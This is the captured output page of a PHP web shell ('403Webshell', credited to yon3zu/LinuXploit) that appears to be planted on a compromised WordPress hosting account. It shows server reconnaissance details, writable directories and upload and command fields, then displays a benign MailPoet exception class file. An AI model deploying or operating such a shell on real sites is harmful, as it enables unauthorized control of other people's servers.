403Webshell
Server IP : 104.21.14.103  /  Your IP : 18.116.65.204
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Migrator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Migrator/MigratorException.php
<?php declare(strict_types = 1);

namespace MailPoet\Migrator;

if (!defined('ABSPATH')) exit;


use MailPoet\InvalidStateException;
use Throwable;

class MigratorException extends InvalidStateException {
  public static function templateFileReadFailed(string $path): self {
    return self::create()->withMessage(
      sprintf('Could not read migration template file "%s".', $path)
    );
  }

  public static function invalidMigrationLevel(string $level): self {
    return self::create()->withMessage(
      sprintf('Migration level "%s" is not supported! Use "app" or "db".', $level)
    );
  }

  public static function duplicateMigrationNames(array $names): self {
    return self::create()->withMessage(
      sprintf('Duplicate migration names are not allowed. Duplicate names found: "%s".', join(', ', $names))
    );
  }

  public static function migrationFileWriteFailed(string $path): self {
    return self::create()->withMessage(
      sprintf('Could not write migration file "%s".', $path)
    );
  }

  public static function migrationClassNotFound(string $className): self {
    return self::create()->withMessage(
      sprintf('Migration class "%s" not found.', $className)
    );
  }

  public static function migrationClassIsNotASubclassOf(string $className, string $parentClassName): self {
    return self::create()->withMessage(
      sprintf('Migration class "%1$s" is not a subclass of "%2$s".', $className, $parentClassName)
    );
  }

  public static function migrationFailed(string $className, Throwable $previous): self {
    return self::create($previous)->withMessage(
      sprintf('Migration "%1$s" failed. Details: %2$s', $className, $previous->getMessage())
    );
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit